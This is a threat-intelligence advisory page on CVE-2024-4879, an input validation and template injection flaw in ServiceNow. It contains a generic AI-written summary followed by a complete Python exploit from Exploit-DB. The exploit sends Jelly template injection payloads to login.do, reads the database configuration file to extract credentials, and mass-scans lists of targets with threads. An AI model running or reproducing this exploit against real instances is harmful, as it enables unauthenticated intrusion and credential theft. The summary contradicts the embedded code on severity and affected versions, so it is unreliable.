ServiceNow Multiple Versions - Input Validation & Template Injection
ServiceNow Multiple Versions - Input Validation & Template Injection
AI Analysis
Technical Summary
The reported security threat concerns multiple versions of ServiceNow, a widely used cloud-based platform for IT service management (ITSM) and enterprise workflow automation. The vulnerability involves input validation flaws and template injection issues. Input validation vulnerabilities occur when user-supplied data is not properly sanitized or validated before being processed, potentially allowing attackers to inject malicious input. Template injection vulnerabilities arise when untrusted input is embedded into templates that are rendered dynamically, enabling attackers to execute arbitrary code or manipulate the output. In the context of ServiceNow, these vulnerabilities could allow an attacker to inject malicious payloads into the platform's templates or input fields, potentially leading to unauthorized code execution, data leakage, or manipulation of workflows. The exploit code is available and written in Python, indicating that proof-of-concept or weaponized scripts exist to demonstrate or leverage the vulnerability. Although the affected versions are not explicitly listed, the mention of multiple versions suggests a broad impact across different ServiceNow releases. No patches or fixes are currently linked, and no known exploits in the wild have been reported yet. The medium severity rating suggests a moderate risk, likely due to the need for some conditions to be met for exploitation or limited impact scope. However, the presence of exploit code increases the urgency for mitigation.
Potential Impact
For European organizations, the impact of this vulnerability could be significant given the widespread adoption of ServiceNow in various sectors including finance, healthcare, government, and telecommunications. Exploitation could lead to unauthorized access to sensitive data, disruption of critical IT service workflows, and potential compromise of enterprise automation processes. This could result in operational downtime, data breaches involving personal or confidential information protected under GDPR, and reputational damage. Additionally, attackers might leverage the vulnerability to pivot within networks, escalating privileges or deploying further attacks. The absence of known active exploitation reduces immediate risk but does not eliminate the threat, especially as exploit code is publicly available. Organizations relying heavily on ServiceNow for ITSM and business-critical processes should consider this a tangible risk vector.
Mitigation Recommendations
Specific mitigation steps include: 1) Conduct a thorough inventory of all ServiceNow instances and identify versions in use to assess exposure. 2) Monitor official ServiceNow advisories and security bulletins for patches or updates addressing input validation and template injection vulnerabilities. 3) Implement strict input validation and sanitization controls within custom scripts, workflows, and integrations in ServiceNow to prevent injection attacks. 4) Restrict user permissions and roles to the minimum necessary to reduce the attack surface, especially for users who can create or modify templates or scripts. 5) Employ Web Application Firewalls (WAFs) with rules tailored to detect and block injection attempts targeting ServiceNow endpoints. 6) Conduct regular security assessments and penetration tests focusing on ServiceNow configurations and customizations. 7) Monitor logs and alerts for suspicious activities indicative of exploitation attempts. 8) Educate administrators and developers on secure coding practices specific to ServiceNow scripting and template usage.
Affected Countries
United Kingdom, Germany, France, Netherlands, Sweden, Italy, Spain
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 """ # Title : ServiceNow Multiple Versions - Input Validation & Template Injection # Date: 2025-01-31 # Author: ibrahimsql # Vendor: ServiceNow # Version: Vancouver, Washington DC, Utah (various patches) # affected from 0 before Utah Patch 10 Hot Fix 3 # affected from 0 before Utah Patch 10a Hot Fix 2 # affected from 0 before Vancouver Patch 6 Hot Fix 2 # affected from 0 before Vancouver Patch 7 Hot Fix 3b # affected from 0 before Vancouver Patch 8 Hot Fix 4 # affected from 0 before Vancouver Patch 9 # affected from 0 before Vancouver Patch 10 # affected from 0 before Washington DC Patch 1 Hot Fix 2b # affected from 0 before Washington DC Patch 2 Hot Fix 2 # affected from 0 before Washington DC Patch 3 Hot Fix 1 # affected from 0 before Washington DC Patch 4 # Tested on: ServiceNow Platform # CVE: CVE-2024-4879 # Category: Input Validation # CVSS Score: 9.8 (Critical) # CWE: CWE-20 (Improper Input Validation) # Description: # ServiceNow Platform contains an input validation vulnerability that allows # unauthenticated remote code execution. The vulnerability affects Vancouver, # Washington DC, and Utah releases of the Now Platform. # Impact: # - Unauthenticated remote code execution # - Complete system compromise # - Data exfiltration # - Service disruption # Requirements: # - requests>=2.25.1 # - colorama>=0.4.4 # - urllib3 # Usage: # python3 CVE-2024-4879.py -t https://target.service-now.com # python3 CVE-2024-4879.py -f targets.txt """ from colorama import Fore, Style, init import requests import argparse import urllib3 import concurrent.futures import sys import re from urllib.parse import urlparse # Initialize colorama init(autoreset=True) # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class Colors: RED = Fore.RED GREEN = Fore.GREEN YELLOW = Fore.YELLOW BLUE = Fore.BLUE WHITE = Fore.WHITE CYAN = Fore.CYAN MAGENTA = Fore.MAGENTA RESET = Style.RESET_ALL banner = f""" {Colors.CYAN} ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██╗ ██╗ █████╗ ███████╗ █████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║ ██║ ██║██╔══██╗╚════██║██╔══██╗ ██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗███████║╚█████╔╝ ██╔╝╚██████║ ██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝╚════██║██╔══██╗ ██╔╝ ╚═══██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗ ██║ ██║╚█████╔╝ ██║ █████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚════╝ ╚═╝ ╚════╝ {Colors.RESET} {Colors.YELLOW}ServiceNow Platform Input Validation Vulnerability{Colors.RESET} {Colors.WHITE}CVE-2024-4879 | CVSS: 9.8 (Critical) | Author: ibrahimsql{Colors.RESET} """ class ServiceNowExploit: def __init__(self, timeout=10, verbose=False): self.timeout = timeout self.verbose = verbose self.session = requests.Session() self.session.verify = False def _log(self, level, message, url=""): """Enhanced logging with colors and levels""" timestamp = "[*]" if level == "success": print(f"{Colors.GREEN}[+]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") elif level == "error": print(f"{Colors.RED}[-]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") elif level == "warning": print(f"{Colors.YELLOW}[!]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") elif level == "info": print(f"{Colors.BLUE}[*]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") elif level == "verbose" and self.verbose: print(f"{Colors.CYAN}[V]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") def validate_url(self, url): """Validate and normalize URL format""" if not url.startswith(('http://', 'https://')): url = f"https://{url}" try: parsed = urlparse(url) if not parsed.netloc: return None return url except Exception: return None def check_target_reachability(self, url): """Check if target is reachable""" try: response = self.session.get(url, timeout=self.timeout) if response.status_code == 200: self._log("info", "Target is reachable", url) return True else: self._log("warning", f"Target returned status {response.status_code}", url) return False except requests.exceptions.RequestException as e: self._log("error", f"Target unreachable: {str(e)}", url) return False def exploit_vulnerability(self, url): """Main exploit function for CVE-2024-4879""" try: # Normalize URL url = self.validate_url(url) if not url: self._log("error", "Invalid URL format") return False # Check reachability first if not self.check_target_reachability(url): return False # Construct the exploit payload exploit_path = "/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Egs.addErrorMessage(668.5*2);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E" exploit_url = f"{url}{exploit_path}" self._log("info", "Testing for CVE-2024-4879 vulnerability", url) # Send exploit request response = self.session.get(exploit_url, timeout=self.timeout) if self.verbose: self._log("verbose", f"Response status: {response.status_code}") self._log("verbose", f"Response length: {len(response.text)}") # Check for vulnerability indicator if response.status_code == 200 and "1337" in response.text: self._log("success", "VULNERABLE - CVE-2024-4879 confirmed!", url) # Attempt to extract sensitive information info_path = "/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly:core%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Ez=new%20Packages.java.io.File(%22%22).getAbsolutePath();z=z.substring(0,z.lastIndexOf(%22/%22));u=new%20SecurelyAccess(z.concat(%22/conf/glide.db.properties%22)).getBufferedReader();s=%22%22;while((q=u.readLine())!==null)s=s.concat(q,%22%5Cn%22);gs.addErrorMessage(s);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E" info_url = f"{url}{info_path}" try: info_response = self.session.get(info_url, timeout=self.timeout) if info_response.status_code == 200: self._log("success", "Database configuration extracted!") if self.verbose: print(f"\n{Colors.YELLOW}=== Database Configuration ==={Colors.RESET}") # Extract and display configuration data config_data = self._extract_config_data(info_response.text) if config_data: print(config_data) print(f"{Colors.YELLOW}================================{Colors.RESET}\n") except Exception as e: self._log("warning", f"Failed to extract configuration: {str(e)}") return True else: self._log("error", "Not vulnerable or payload failed", url) return False except requests.exceptions.Timeout: self._log("warning", "Connection timeout", url) return False except requests.exceptions.ConnectionError: self._log("error", "Connection failed", url) return False except Exception as e: self._log("error", f"Unexpected error: {str(e)}", url) return False def _extract_config_data(self, response_text): """Extract configuration data from response""" try: # Look for database configuration patterns patterns = [ r'glide\.db\..*?=.*', r'jdbc\..*?=.*', r'database\..*?=.*' ] extracted_data = [] for pattern in patterns: matches = re.findall(pattern, response_text, re.IGNORECASE) extracted_data.extend(matches) return '\n'.join(extracted_data) if extracted_data else None except Exception: return None def main(): parser = argparse.ArgumentParser( description="CVE-2024-4879 ServiceNow Platform Input Validation Vulnerability Scanner", epilog="Examples:\n python3 CVE-2024-4879.py -t https://target.service-now.com\n python3 CVE-2024-4879.py -f targets.txt -v", formatter_class=argparse.RawDescriptionHelpFormatter ) parser.add_argument('-t', '--target', help="Single target to scan") parser.add_argument('-f', '--file', help="File containing list of targets") parser.add_argument('-v', '--verbose', action='store_true', help="Enable verbose output") parser.add_argument('--timeout', type=int, default=10, help="Request timeout in seconds (default: 10)") parser.add_argument('--threads', type=int, default=10, help="Number of threads for concurrent scanning (default: 10)") args = parser.parse_args() if not args.target and not args.file: parser.print_help() sys.exit(1) print(banner) try: exploit = ServiceNowExploit(timeout=args.timeout, verbose=args.verbose) if args.target: exploit.exploit_vulnerability(args.target) if args.file: try: with open(args.file, 'r') as f: targets = [line.strip() for line in f.readlines() if line.strip()] print(f"{Colors.INFO}[*]{Colors.RESET} Scanning {len(targets)} targets with {args.threads} threads...\n") with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor: executor.map(exploit.exploit_vulnerability, targets) except FileNotFoundError: print(f"{Colors.RED}[-]{Colors.RESET} File not found: {args.file}") sys.exit(1) except Exception as e: print(f"{Colors.RED}[-]{Colors.RESET} Error reading file: {str(e)}") sys.exit(1) except KeyboardInterrupt: print(f"\n{Colors.YELLOW}[!]{Colors.RESET} Scan interrupted by user") sys.exit(0) except Exception as e: print(f"{Colors.RED}[-]{Colors.RESET} Unexpected error: {str(e)}") sys.exit(1) if __name__ == "__main__": main()
ServiceNow Multiple Versions - Input Validation & Template Injection
Description
ServiceNow Multiple Versions - Input Validation & Template Injection
AI-Powered Analysis
Technical Analysis
The reported security threat concerns multiple versions of ServiceNow, a widely used cloud-based platform for IT service management (ITSM) and enterprise workflow automation. The vulnerability involves input validation flaws and template injection issues. Input validation vulnerabilities occur when user-supplied data is not properly sanitized or validated before being processed, potentially allowing attackers to inject malicious input. Template injection vulnerabilities arise when untrusted input is embedded into templates that are rendered dynamically, enabling attackers to execute arbitrary code or manipulate the output. In the context of ServiceNow, these vulnerabilities could allow an attacker to inject malicious payloads into the platform's templates or input fields, potentially leading to unauthorized code execution, data leakage, or manipulation of workflows. The exploit code is available and written in Python, indicating that proof-of-concept or weaponized scripts exist to demonstrate or leverage the vulnerability. Although the affected versions are not explicitly listed, the mention of multiple versions suggests a broad impact across different ServiceNow releases. No patches or fixes are currently linked, and no known exploits in the wild have been reported yet. The medium severity rating suggests a moderate risk, likely due to the need for some conditions to be met for exploitation or limited impact scope. However, the presence of exploit code increases the urgency for mitigation.
Potential Impact
For European organizations, the impact of this vulnerability could be significant given the widespread adoption of ServiceNow in various sectors including finance, healthcare, government, and telecommunications. Exploitation could lead to unauthorized access to sensitive data, disruption of critical IT service workflows, and potential compromise of enterprise automation processes. This could result in operational downtime, data breaches involving personal or confidential information protected under GDPR, and reputational damage. Additionally, attackers might leverage the vulnerability to pivot within networks, escalating privileges or deploying further attacks. The absence of known active exploitation reduces immediate risk but does not eliminate the threat, especially as exploit code is publicly available. Organizations relying heavily on ServiceNow for ITSM and business-critical processes should consider this a tangible risk vector.
Mitigation Recommendations
Specific mitigation steps include: 1) Conduct a thorough inventory of all ServiceNow instances and identify versions in use to assess exposure. 2) Monitor official ServiceNow advisories and security bulletins for patches or updates addressing input validation and template injection vulnerabilities. 3) Implement strict input validation and sanitization controls within custom scripts, workflows, and integrations in ServiceNow to prevent injection attacks. 4) Restrict user permissions and roles to the minimum necessary to reduce the attack surface, especially for users who can create or modify templates or scripts. 5) Employ Web Application Firewalls (WAFs) with rules tailored to detect and block injection attempts targeting ServiceNow endpoints. 6) Conduct regular security assessments and penetration tests focusing on ServiceNow configurations and customizations. 7) Monitor logs and alerts for suspicious activities indicative of exploitation attempts. 8) Educate administrators and developers on secure coding practices specific to ServiceNow scripting and template usage.
Affected Countries
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Technical Details
- Edb Id
- 52410
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for ServiceNow Multiple Versions - Input Validation & Template Injection
#!/usr/bin/env python3 """ # Title : ServiceNow Multiple Versions - Input Validation & Template Injection # Date: 2025-01-31 # Author: ibrahimsql # Vendor: ServiceNow # Version: Vancouver, Washington DC, Utah (various patches) # affected from 0 before Utah Patch 10 Hot Fix 3 # affected from 0 before Utah Patch 10a Hot Fix 2 # affected from 0 before Vancouver Patch 6 Hot Fix 2 # affected from 0 before Vancouver Patch 7 Hot Fix 3b # affected from 0 before Vancouver Patch 8 Hot Fix 4 # affecte... (10673 more characters)
Threat ID: 689a95b8ad5a09ad002b0962
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 10/4/2025, 12:50:38 AM
Last updated: 10/8/2025, 7:36:09 PM
Views: 34
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